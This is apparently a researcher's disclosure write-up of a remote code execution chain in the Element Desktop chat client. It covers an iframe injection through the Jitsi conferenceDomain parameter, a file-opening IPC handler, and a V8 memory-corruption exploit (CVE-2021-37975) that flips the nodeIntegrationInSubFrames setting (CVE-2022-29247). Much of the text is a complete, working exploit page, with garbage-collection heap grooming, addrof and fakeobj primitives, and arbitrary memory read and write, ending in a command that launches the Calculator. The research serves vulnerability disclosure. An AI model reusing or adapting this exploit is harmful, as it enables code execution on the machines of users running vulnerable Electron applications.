Introduction
@s1r1us I actually just spent 30 minutes looking at this and found a external content injection through
element://vector/webapp/jitsi.html?parentUrl=https://parent&conferenceDomain=www.google.com&conferenceId=xxd&userId=pewwhats element
its the largest matrix client
oh, looks like we already have an RCE there đ¸
During our Electron desktop application hacking frenzy, Pew told me on Discord about a desktop application called Element where he could insert an external iframe. We began examining the public Element Desktop source and eventually got remote code execution (RCE).
Bug 1: iframe injection
This is a feature, rather than a bug. Element supports Jitsi for conference calls, which provides options for self-hosting your own server. According to its documentation, the conferenceDomain query parameter can be provided to embed a self-hosting conference server. The documentation also mentions that âThe URL is typically something we shove into an iframe with âsandboxingââ. Since it was âsandboxedâ it wonât be an issue, right? Right?
Here is the PoC for the web application. The following URL can be used to embed an external site named pwn.af:
https://app.element.io/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew
Here is the desktop application PoC:
element://vector/webapp/jitsi.html?conferenceDomain=pwn.af&conferenceId=xxd&userId=pew
By using the above PoC, we can get JavaScript execution on the desktop app. The issue, however, is that the Element Desktop application fully enables sandboxing. As you can notice in the below script, sandboxing is enabled via app.enableSandbox(). Also note that nodeIntegrationInSubFrames is disabled by default:
app.enableSandbox(); global.mainWindow = new BrowserWindow({ [...] webPreferences: { preload: preloadScript, nodeIntegration: false, //sandbox: true, // We enable sandboxing from app.enableSandbox() above contextIsolation: true, webgl: true, },This situation is different from the previous Discord bug where sandboxing was not fully enabled.
There are a few things we can look for if sandboxing is disabled on the main window:
Check if there are any
new-windowornavigationmisconfigurations similar to the Discord bug.Check if there are any
postMessageissues on the main frame.Find an XSS on the subdomain of the parent window (
app.element.io) to perform same-origin spoofing (similar to the BSides Ahmedabad CTF challenge I gave).Finally, we can look for sensitive
ipcMainhandlers on the main window, which can be reached through CVE-2022- (which we reported to Electron).29247
Now, the only option we have is option 4, as the app is fully sandboxed. To get RCE from option 4, we need a sensitive ipcMain handler on the main window.
Bug 2: finding RCE sinks on the desktop app
After grepping for ipcMain.on and ipcMain.handle, we came across an interesting IPC handler that opens user-downloaded files, defined in src/webcontents-handler.ts:
ipcMain.on('userDownloadOpen', function(ev: IpcMainEvent, { path }) { shell.openPath(path);});And this is exposed to the main windowâs parent frame using the preload scriptâs contextBridge as below:
contextBridge.exposeInMainWorld( "electron", { on(channel: string, listener: (event: IpcRendererEvent, ...args: any[]) => void): void { if (!CHANNELS.includes(channel)) { console.error(`Unknown IPC channel ${channel} ignored`); return; } ipcRenderer.on(channel, listener); }, send(channel: string, ...args: any[]): void { if (!CHANNELS.includes(channel)) { console.error(`Unknown IPC channel ${channel} ignored`); return; } ipcRenderer.send(channel, ...args); }, },);So, by sending the following IPC from the main frame, we achieve RCE:
electron.send('userDownloadOpen', { path: 'C:\\Windows\\System32\\calc.exe' })Now, letâs consider our options on how to get access to electron.send from the iframe which we have XSS on.
Get an XSS on the main window and access
electron.senddirectly.Use CVE-
2022- âs29247 nodeIntegrationInSubFramesand get access toelectron.sendin our iframe.
We audited the main windowâs JavaScript for XSS sinks, but we couldnât find anything interesting. So, we decided to use the second option, which seems to be easily achieved as the Element Desktop is using an old version of Electron, 13.5.1. Its user agent string is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Element/1.9.5 Chrome/91.0.4472.164 Electron/13.5.1 Safari/537.36.
What nodeIntegrationInSubFrames does
Electronâs documentation defines the nodeIntegrationInSubFrames webPreference as follows:
nodeIntegrationInSubFrames: Experimental option for enabling Node.js support in sub-frames such as iframes and child windows. All your preloads will load for every iframe, you can useprocess.isMainFrameto determine if you are in the main frame or not.
nodeIntegrationInSubFrames enables preloads in iframes, which exposes the contextBridge APIs to iframes and child windows. That is what we needed to reach electron.send, which the Element Desktop main windowâs preload script exposes.
The situation we have can be described with the below picture:
As you can see our frame doesnât have access to the electron.send API.
Bug 3: renderer exploit to enable nodeIntegrationInSubFrames (CVE-2022-29247 )
Electron adds Electron-specific WebPreferences such as node_integration, context_isolation and node_integration_in_sub_frames by patching the Blink WebPreferences:
--- a/third_party/blink/common/web_preferences/web_preferences.cc+++ b/third_party/blink/common/web_preferences/web_preferences.cc@@ -142,6 +142,19 @@ WebPreferences::WebPreferences() fake_no_alloc_direct_call_for_testing_enabled(false), v8_cache_options(blink::mojom::V8CacheOptions::kDefault), record_whole_document(false),+ // Begin Electron-specific WebPreferences.+ context_isolation(false),+ is_webview(false),+ hidden_page(false),+ offscreen(false),+ node_integration(false),+ node_integration_in_worker(false),+ node_integration_in_sub_frames(false),+ enable_spellcheck(false),+ enable_plugins(false),+ enable_websql(false),+ webview_tag(false),+ // End Electron-specific WebPreferences. cookie_enabled(true), accelerated_video_decode_enabled(false), animation_policy(These preferences are then later used to check if the specific RenderFrame (a web frame) has access to Electron specific features, such as Node APIs, preload scripts, contextBridge, etc. Letâs just concentrate on node_integration_in_sub_frames, which is needed for our Element RCE.
Electron decides whether to allow preloads in child frames (RenderFrames) in ElectronSandboxedRendererClient::DidCreateScriptContext, which runs in the renderer process, not the browser process:
void ElectronSandboxedRendererClient::DidCreateScriptContext( v8::Handle<v8::Context> context, content::RenderFrame* render_frame) { RendererClientBase::DidCreateScriptContext(context, render_frame);
// Only allow preload for the main frame or // For devtools we still want to run the preload_bundle script // Or when nodeSupport is explicitly enabled in sub frames bool is_main_frame = render_frame->IsMainFrame(); bool is_devtools = IsDevTools(render_frame) || IsDevToolsExtension(render_frame); bool allow_node_in_sub_frames = render_frame->GetBlinkPreferences().node_integration_in_sub_frames; bool should_load_preload = (is_main_frame || is_devtools || allow_node_in_sub_frames) && !IsWebViewFrame(context, render_frame); if (!should_load_preload) return;
injected_frames_.insert(render_frame); // ...}As the check is done in the renderer process, using a renderer exploit the setting can be flipped which effectively enables nodeIntegrationInSubFrames.
The only thing which is left is to write an exploit which flips the render_frame->GetBlinkPreferences().node_integration_in_sub_frames somehow, which is the hardest part for me.
Using a V8 exploit (CVE-2021-37975 )
I decided to use CVE-
Even though we usually use a public V8 exploit, itâs not as easy as running it and popping the calculator. The hardest part I faced during the exploit writing was finding the render_frame_ offset from the window object, as it was usually not stable because of naive usage of hardcoded offsets. I spent days in lldb to understand the V8 bug and find offsets to Blink WebPreferences, but popping the calculator in the end made it worth doing.
Anywho, after trying for 2 days I was able to pull off a full exploit. The following snippet reveals the offset to render_frame->GetBlinkPreferences().node_integration_in_sub_frames. You can find the full exploit at the end of the writeup:
var win = addrof(window)console.log('[+] win address : ' + win.hex())
var addr1 = half_read(win + 0x18n)console.log('[+] win + 0x18 : ' + addr1.hex())
var addr2 = full_read(addr1 + 0xf8n)console.log('[+] add2: ' + addr2.hex())
var web_pref = addr2 + 0x50008nvar preload = full_read(web_pref + 0x1a0n)console.log('[+] web_pref addr: ' + web_pref.hex())
var nisf = web_pref + 0x1acnvar nisf_val = full_read(nisf)console.log('[+] nisf val = ' + nisf_val.hex())var overwrite = nisf_val | 0x0000000000000001n //overwritefull_write(nisf, overwrite)var nisf_val = full_read(nisf)console.log('[+] nisf val overwritten = ' + nisf_val.hex())And finally, after enabling nodeIntegrationInSubFrames, we just need to create a same-origin RenderFrame, which will have access to electron.send:
frame = document.createElement('iframe')frame.srcdoc = "<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>"document.body.appendChild(frame)PoC
We can diagram the final exploit as follows:
Here is a video of the exploit in action:
Watch element Desktop proof-of-concept on YouTube
Here is the full exploit:
<html> <head></head> <b>pwn</b> <button onclick="pwn()">click me to pwn</button>402 collapsed lines
<script> function sleep(miliseconds) { var currentTime = new Date().getTime() while (currentTime + miliseconds >= new Date().getTime()) {} }
var initKey = { init: 1 } var level = 4 var map1 = new WeakMap() var gcSize = 0x4fe00000 var sprayParam = 100
var dbl = [1.1, 1.1, 1.1, 1.1] // %DebugPrint(dbl);
//Get mapAddr using DebugPrint for double array (the compressed address of the map) // var mapAddr = 0x824a8e1; // var mapAddr = 0x82830e1 var mapAddr = 0x83430e1
var rwxOffset = 0x60
var code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11, ]) var module = new WebAssembly.Module(code) var instance = new WebAssembly.Instance(module) var wasmMain = instance.exports.main // %DebugPrint(instance); //Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc function hideWeakMap(map, level, initKey) { let prevMap = map let prevKey = initKey for (let i = 0; i < level; i++) { let thisMap = new WeakMap() prevMap.set(prevKey, thisMap) let thisKey = { h: i } //make thisKey reachable via prevKey thisMap.set(prevKey, thisKey) prevMap = thisMap prevKey = thisKey if (i == level - 1) { let retMap = new WeakMap() map.set(thisKey, retMap) return thisKey } } } //Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens function getHiddenKey(map, level, initKey) { let prevMap = map let prevKey = initKey for (let i = 0; i < level; i++) { let thisMap = prevMap.get(prevKey) let thisKey = thisMap.get(prevKey) prevMap = thisMap prevKey = thisKey if (i == level - 1) { return thisKey } } }
function setUpWeakMap(map) { // for (let i = 0; i < 1000; i++) new Array(300); //Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking let hk = hideWeakMap(map, level, initKey) //Round 1 maps let hiddenMap = map.get(hk) let map7 = new WeakMap() let map8 = new WeakMap()
//hk->k5, k5: discover->wl let k5 = { k5: 1 } let map5 = new WeakMap() let k7 = { k7: 1 } let k9 = { k9: 1 } let k8 = { k8: 1 } let ta = new Uint8Array(1024) ta.fill(0xfe) let larr = new Array(1 << 15) larr.fill(1.1) let v9 = { ta: ta, larr: larr } map.set(k7, map7) map.set(k9, v9)
//map3 : kb|vb: initial discovery ->wl hiddenMap.set(k5, map5) hiddenMap.set(hk, k5)
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl //iter3: wl: map5 : mark map7, k7, no discovery, iter end map5.set(hk, k7)
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl //iter1
//wl discovers map8, and mark k8 black map7.set(k8, map8) map7.set(k7, k8)
//discovery moves k8, map8 into wl //iter2 marks k9 black, iter finished map8.set(k8, k9) }
var conversion_buffer = new ArrayBuffer(8) var float_view = new Float64Array(conversion_buffer) var int_view = new BigUint64Array(conversion_buffer) BigInt.prototype.hex = function () { return '0x' + this.toString(16) } BigInt.prototype.i2f = function () { int_view[0] = this return float_view[0] } Number.prototype.f2i = function () { float_view[0] = this return int_view[0] }
var view = new ArrayBuffer(24) var dblArr = new Float64Array(view) var intView = new Int32Array(view) var bigIntView = new BigInt64Array(view)
function ftoi32(f) { dblArr[0] = f return [intView[0], intView[1]] }
function i32tof(i1, i2) { intView[0] = i1 intView[1] = i2 return dblArr[0] }
function itof(i) { bigIntView = BigInt(i) return dblArr[0] }
function ftoi(f) { dblArr[0] = f return bigIntView[0] }
BigInt.prototype.hex = function () { return '0x' + this.toString(16) }
Number.prototype.hex = function () { return '0x' + this.toString(16) }
function gc() { //trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap) new ArrayBuffer(gcSize) }
function restart() { //Should deopt main if it gets optimized global.__proto__ = {} gc() sleep(2000) pwn() }
function pwn() { setUpWeakMap(map1) gc()
let objArr = []
for (let i = 0; i < sprayParam; i++) { let thisArr = new Array(1 << 15) objArr.push(thisArr) } //These are there to stop main being optimized by JIT globalIdx['a' + globalIdx] = 1 //Can't refactor this, looks like it cause some double rounding problem (got optimized?) for (let i = 0; i < objArr.length; i++) { let thisArr = objArr[i] thisArr.fill(instance) } globalIdx['a' + globalIdx + 1000] = 1 let result = null try { result = fetch() } catch (e) { console.log('fetch failed') restart() return } if (!result) { console.log('fail to find object address.') restart() return } let larr = result.larr let index = result.idx
let instanceAddr = ftoi32(larr[index])[0] let instanceFloatAddr = larr[index] console.log( 'found instance address: 0x' + instanceAddr.toString(16) + ' at index: ' + index, ) let x = {} for (let i = 0; i < objArr.length; i++) { let thisArr = objArr[i] thisArr.fill(x) }
globalIdx['a' + globalIdx + 5000] = 1
larr[index] = instanceFloatAddr let objArrIdx = -1 let thisArrIdx = -1 for (let i = 0; i < objArr.length; i++) { globalIdx['a' + globalIdx + 3000] = 1 global.__proto__ = {} let thisArr = objArr[i] for (let j = 0; j < thisArr.length; j++) { let thisObj = thisArr[j] if (thisObj == instance) { console.log('found window object at: ' + i + ' index: ' + j) objArrIdx = i thisArrIdx = j } } } globalIdx['a' + globalIdx + 4000] = 1 if (objArrIdx == -1) { console.log('failed getting fake object index.') restart() return } let obj_arr = objArr[objArrIdx] let double_arr = larr
//%DebugPrint(objArr[objArrIdx][thisArrIdx]);
function addrof(obj) { obj_arr.fill(obj) return (double_arr[index].f2i() & 0xffffffffn) - 1n }
function fakeobj(addr) { globalIdx['a' + globalIdx + 2001] = 1
larr[index] = addr return objArr[objArrIdx][thisArrIdx] }
globalIdx['a' + globalIdx + 2000] = 1
// Fake map let addr_proto = addrof(Array.prototype) console.log('[+] addr_proto = ' + addr_proto.hex()) let fake_map = [ 0x1604040408042119n.i2f(), 0x0a0004002100043dn.i2f(), (addr_proto | 1n).i2f(), ]
//%DebugPrint(fake_map); let addr_map = addrof(fake_map) + 0x74n if (addr_map % 8n != 0) addr_map -= 4n //for some reason it should %8 = 0 console.log('[+] fake map: ' + addr_map.hex())
let obj = [1.1, 1.1, 1.1] //%DebugPrint(obj);
let addr = Number(addrof(obj)) | 1
let objEleAddr = addr + 0x18 + 0x8 let floatAddr = i32tof(objEleAddr, objEleAddr) let floatMapAddr = i32tof(Number(addr_map) | 1, Number(addr_map) | 1) //Faking an array at using obj[0] and obj[1] obj[0] = floatMapAddr // let eleLength = i32tof(instanceAddr + rwxOffset, 10); //fake object at element of obj larr[index] = floatAddr let fakeArray = objArr[objArrIdx][thisArrIdx]
function half_read(addr) { // let element = i32tof(addr-8, 10);//-8 exact addr let element = (0x888800000001n | (addr - 8n)).i2f() obj[1] = element return fakeArray[0].f2i() } function half_write(addr, value) { // let element = i32tof(addr-8, 10); let element = (0x888800000001n | (addr - 8n)).i2f() obj[1] = element fakeArray[0] = value.i2f() }
//full read write let evil = new Float64Array(0x10) let addr_evil = addrof(evil) console.log('[+] addr_evil = ' + addr_evil.hex()) let orig_evil = half_read(addr_evil + 0x28n) console.log('[+] backing store of typed array: ' + orig_evil.hex()) function full_read(addr) { half_write(addr_evil + 0x28n, addr) return evil[0].f2i() } function full_write(addr, value) { half_write(addr_evil + 0x28n, addr) evil[0] = value.i2f() } function full_cleanup() { half_write(addr_evil + 0x28n, orig_evil) }
var win = addrof(window) console.log('[+] win address : ' + win.hex())
var addr1 = half_read(win + 0x18n) console.log('[+] win + 0x18 : ' + addr1.hex())
var addr2 = full_read(addr1 + 0xf8n) console.log('[+] add2: ' + addr2.hex())
var web_pref = addr2 + 0x50008n var preload = full_read(web_pref + 0x1a0n) console.log('[+] web_pref addr: ' + web_pref.hex())
console.log('[+] preload addr: ' + preload.hex())
var ciso = web_pref + 0x184n var nisf = web_pref + 0x1acn var nisf_val = full_read(nisf) console.log('[+] nisf val = ' + nisf_val.hex()) var overwrite = nisf_val | 0x0000000000000001n full_write(nisf, overwrite) var nisf_val = full_read(nisf) console.log('[+] nisf val overwritten = ' + nisf_val.hex())
// var ciso_val = full_read(ciso); // console.log("[+] ciso val = "+ ciso_val.hex()); // var overwrite = ciso_val & (0xffffffffffffff00n); // full_write(ciso, overwrite); // var nisf_val = full_read(ciso); // console.log("[+] ciso val overwritten = "+ ciso_val.hex());
frame = document.createElement('iframe') frame.srcdoc = "<script>electron.send('userDownloadOpen',{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})<\/script>" document.body.appendChild(frame) }
function findTA(ta) { let found = false for (let i = 0; i < 16; i++) { if (ta[i] != 0xfe) { console.log(ta[i]) return true } } console.log(ta[0]) return found }
function findLArr(larr) { for (let i = 0; i < 1 << 15; i++) { if (larr[i] != 1.1) { let addr = ftoi32(larr[i]) return i } } return -1 }
function fetch() { let hiddenKey = getHiddenKey(map1, level, initKey) let hiddenMap = map1.get(hiddenKey) let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey) let k8 = map1.get(k7).get(k7) let map8 = map1.get(k7).get(k8)
let larr = map1.get(map8.get(k8)).larr let index = findLArr(larr) if (index == -1) { return } return { larr: larr, idx: index } } global = {} globalIdx = 0 pwn() </script></html>If you need help securing an Electron or JavaScript application, email hello@hacktron.ai or visit hacktron.ai.